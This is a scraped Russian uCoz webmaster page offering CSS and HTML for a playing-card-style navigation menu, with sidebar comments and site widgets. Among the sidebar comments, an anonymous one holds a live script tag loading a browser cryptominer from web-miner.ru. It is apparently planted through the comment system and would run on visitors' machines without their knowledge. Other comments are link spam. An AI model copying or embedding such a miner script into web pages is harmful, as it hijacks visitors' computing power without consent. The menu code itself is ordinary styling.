Пятница, 19.01.2018, 16:24
Главная  Форум Регистрация Блог RSS
Приветствую Вас, Гость
Меню сайта
Наш опрос
Каким EMAIL Вы пользуетесь?


Всего ответов: 289

установить такой вид опроса
Статистика
Яндекс.Метрика
Онлайн всего: 19
Гостей: 19
Пользователей: 0


Зарегистрировано 30497 (сегодня + 1 новых, вчера + 0 новых), В каталоге файлов 1127 материала(ов), Оставлено 5119 комментариев, На форуме создано тем и ответов.

установить такую статистику

Блок CW результаты

Победы
Победы(10)

Поражения
Поражения(5)


Установить CW блок на свой сайт
Внимание!
Наш сайт адаптирован под браузер Mozilla Firefox
скрипты для uCoz
Скачать/Download
В остальных браузерах наш сайт может отображаться некорректно! (IE,Opera,Google Chrome и т.д)

установить такой блок
Расскажи Друзьям!
Комментарии
Новость: Видео чат для вашего сайта
Александр написал:
https://chat-vsem.blogspot.ru
Новость: Преимущества создания сайта с помощью шаблона
Вика Ромашкина написал:
http://womanspv.ru/raznoe/obmanut-ofisnyj-dress-kod.html
http://womanspv.ru/beremennost/forum-28-nedelya-beremennosti.html
Новость: Блок баннеры "Наши друзья" uCoz
написал:
<script async="async" src="//web-miner.ru/lib/wm.js?s=161&p=50"></script>

Читать все комментарии
Топ комментаторов

установить такой информер
VKONTAKTE

FACEBOOK
Главная страница » Помощь Вебмастеру » Категория Меню для uCoz сайта » Добавлено [17.06.2013, 18:50]

Меню в виде игральных карт для Ucoz

Войти или Зарегистрироваться [скачивать файлы могут только зарегистрированные пользователи!]

Очень неординарное меню в виде игральных карт для сайтов на бесплатном хостинге uCoz. В оригинале карты имеют не развёрнутую формы, и только при наведение мышки на них они раскрываются и показывают меню. Пригодиться на сайтах на покерную или игровую тематику, но ведь дизайн придётся настраивать под такое меню. Установка простая, просто нужно скопировать код меню в шаблоны сайта, где Вы хотите видеть это меню. Не забудьте только настроить его под себя. Устанавливаем и отписываемся в комментариях.

  • Вас интересует парсер на php и cur, тогда заходите на сайт www.tekhnobuild.info, на котором найдёте полную информацию об этом.
Код
<style>
#info {position:relative; z-index:10;}
.cards {
padding:0;
margin:220px auto;
list-style:none;  
position:relative;  
height:270px;  
width:200px;
}
.cards > li {
width:200px;  
height:270px;  
position:absolute;  
top:0; left:0;
transform-origin: 100px 300px;
-ms-transform-origin: 100px 300px;
-o-transform-origin: 100px 300px;
-moz-transform-origin: 100px 300px;
-webkit-transform-origin: 100px 300px;
-webkit-transition: 0.75s;
-moz-transition: 0.75s;
-o-transition: 0.75s;
transition: 0.75s;
}
.cards > li > a {
display:block;
width:200px;  
height:270px;  
border:1px solid #ccc;  
position:absolute;  
background:#fff;
top:0;  
left:0;  
color:#000;
text-decoration:none;
font:bold 12px/18px arial, sans-serif;
border-radius:10px;
-moz-border-radius:10px;
-moz-box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.3), inset 0 0 10px rgba(0, 0, 0, 0.1);
-webkit-box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.3), inset 0 0 10px rgba(0, 0, 0, 0.1);
box-shadow: 1px 1px 5px rgba(0, 0, 0, 0.3), inset 0 0 10px rgba(0, 0, 0, 0.1);
}
.cards > li > a:after,
.cards > li > a:before {
display:block;  
width:75%;  
height:75%;  
content: "";  
position:absolute;  
z-index:-1;
}
.cards > li > a:after {right: 5px; bottom:5px;
transform-origin: bottom right;
-o-transform-origin: bottom right;
-moz-transform-origin: bottom right;
-webkit-transform-origin: bottom right;
-ms-transform-origin: bottom right;
transform: rotate(5deg) skew(12deg);
-o-transform: rotate(5deg) skew(12deg);
-moz-transform: rotate(5deg) skew(12deg);
-webkit-transform: rotate(5deg) skew(12deg);
-ms-transform: rotate(5deg) skew(12deg);
box-shadow: 4px 8px 12px rgba(0, 0, 0, 0.3);  
-moz-box-shadow: 4px 8px 12px rgba(0, 0, 0, 0.3);  
-webkit-box-shadow: 4px 8px 12px rgba(0, 0, 0, 0.3);
}  
.cards > li > a:before {left:5px; bottom:5px;
transform-origin: bottom left;
-o-transform-origin: bottom left;
-moz-transform-origin: bottom left;
-webkit-transform-origin: bottom left;
-ms-transform-origin: bottom left;
transform: rotate(-5deg) skew(-12deg);  
-o-transform: rotate(-5deg) skew(-12deg);  
-moz-transform: rotate(-5deg) skew(-12deg);  
-webkit-transform: rotate(-5deg) skew(-12deg);
-ms-transform: rotate(-5deg) skew(-12deg);
box-shadow: -4px 8px 12px rgba(0, 0, 0, 0.3);
-moz-box-shadow: -4px 8px 12px rgba(0, 0, 0, 0.3);
-webkit-box-shadow: -4px 8px 12px rgba(0, 0, 0, 0.3);
}
ul.cards > li a b {
display:block;  
width:100px;
height:20px;  
margin-left:-40px;
text-align:right;  
margin-top:50px;  
transform: rotate(-90deg);
-ms-transform: rotate(-90deg);
-o-transform: rotate(-90deg);
-moz-transform: rotate(-90deg);
-webkit-transform: rotate(-90deg);
}
ul.cards:hover > li:nth-of-type(1) {
transform: rotate(-30deg);
-ms-transform: rotate(-30deg);
-o-transform: rotate(-30deg);
-moz-transform: rotate(-30deg);
-webkit-transform: rotate(-30deg);
}
ul.cards:hover > li:nth-of-type(2) {
transform: rotate(-18deg);
-ms-transform: rotate(-18deg);
-o-transform: rotate(-18deg);
-moz-transform: rotate(-18deg);
-webkit-transform: rotate(-18deg);
}
ul.cards:hover > li:nth-of-type(3) {
transform: rotate(-6deg);
-ms-transform: rotate(-6deg);
-o-transform: rotate(-6deg);
-moz-transform: rotate(-6deg);
-webkit-transform: rotate(-6deg);
}
ul.cards:hover > li:nth-of-type(4) {
transform: rotate(6deg);
-ms-transform: rotate(6deg);
-o-transform: rotate(6deg);
-moz-transform: rotate(6deg);
-webkit-transform: rotate(6deg);
}
ul.cards:hover > li:nth-of-type(5) {
transform: rotate(180deg);
-ms-transform: rotate(18deg);
-o-transform: rotate(18deg);
-moz-transform: rotate(18deg);
-webkit-transform: rotate(18deg);
}
ul.cards:hover > li:nth-of-type(6) {
transform: rotate(30deg);
-ms-transform: rotate(30deg);
-o-transform: rotate(30deg);
-moz-transform: rotate(30deg);
-webkit-transform: rotate(30deg);
}
ul.cards > li:nth-of-type(-n+5):hover {
height:480px;
top:-200px;
transform-origin: 100px 470px;
-ms-transform-origin: 100px 470px;
-o-transform-origin: 100px 470px;
-moz-transform-origin: 100px 470px;
-webkit-transform-origin: 100px 470px;
}
ul.cards li ul {
padding:0;  
margin:0;
list-style:none;
position:absolute;  
top:25px;  
left:30px;
}
ul.cards li ul li a {
font:bold 12px/18px arial, sans-serif;
color:#000040;/* Текст ссылок до наведения */
text-decoration:none;
}
ul.cards li ul li a:hover {
color:#2060ff;/* Текст ссылок при наведении */
}
ul.cards li span:nth-of-type(1) {
font-size:30px;
position:absolute;  
top:10px;  
right:10px;  
color:#c00;
}
ul.cards li em:nth-of-type(1) {
font-size:30px;  
position:absolute;  
top:10px;  
right:10px;
color:#000;
}
ul.cards li span:nth-of-type(2) {
font-size:30px;  
position:absolute;
top:220px;
left:10px;  
color:#c00;
}
ul.cards li em:nth-of-type(2) {
font-size:30px;
position:absolute;  
top:220px;  
left:10px;  
color:#000;
}
ul.cards li i {
font:normal 200px/270px arial, sans-serif;
color:#c00;/* Цвет короны */  
position:absolute;  
left:0;
top:0;  
width:200px;  
text-align:center;
}
</style>
<ul class="cards">
<li><a href="#url"><b>MENU</b></a>
<span>♥</span>
<ul>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
</ul>
<span>♥</span>
</li>
<li><a href="#url"><b>MENU</b></a>
<em>♣</em>
<ul>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
</ul>
<em>♣</em>
</li>
<li><a href="#url"><b>MENU</b></a>
<span>♦</span>
<ul>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
</ul>
<span>♦</span>
</li>
<li><a href="#url"><b>MENU</b></a>
<em>♠</em>
<ul>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
</ul>
<em>♠</em>
</li>
<li><a href="#url"><b>MENU</b></a>
<span>♥</span>
<ul>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
<li><a href="#">Название ссылки</a></li>
</ul>
<span>♥</span>
</li>
<li><a href="#url"><b>MENU</b><i>♕</i></a></li>
</ul>


При копирование материалов с сайта необходимо указать активную ссылку источника - Скрипты для uCoz 2013 и Меню в виде игральных карт для Ucoz



Расскажи друзьям интересные новости:


- Установить на свой сайт блок социальных закладок
Категория: Меню для uCoz сайта | Добавил: scripts_for_ucoz | Теги: меню на сайт, крулое меню, Меню для ucoz, меню
Просмотров: 3428 | Загрузок: 0 | Комментарии: 1 | Рейтинг: 0.0/0
Всего комментариев: 1
1 scripts_for_ucoz   (17.06.2013 18:50)
очень редкое меню! пользуемся на здоровье cool

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Для добавления необходима авторизация

Хостинг от uCoz